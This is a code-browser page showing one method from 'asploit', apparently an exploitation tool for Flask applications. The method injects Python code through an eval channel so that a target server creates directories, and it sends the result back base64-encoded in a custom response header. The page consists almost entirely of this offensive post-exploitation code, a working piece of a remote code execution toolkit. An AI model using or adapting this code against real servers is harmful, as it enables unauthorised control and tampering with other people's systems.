MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__mkdir

Method _Base__mkdir

src/FlaskExploitProcessor.py:293–302  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

291 @brief See base class for details.
292 """
293 def _Base__mkdir(self, options: str):
294 res = self.__eval(
295 f"try:\n"
296 f"\t__import__('os').makedirs('{options}',exist_ok=True);"
297 f"\tr.headers['{self.header}']='RG9uZS4='\n"
298 f"except Exception as e:\n"
299 f"\tr.headers['{self.header}']=__import__('base64')."
300 f"b64encode(str(e).encode());"
301 )
302 print(base64.b64decode(res.encode()).decode())

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected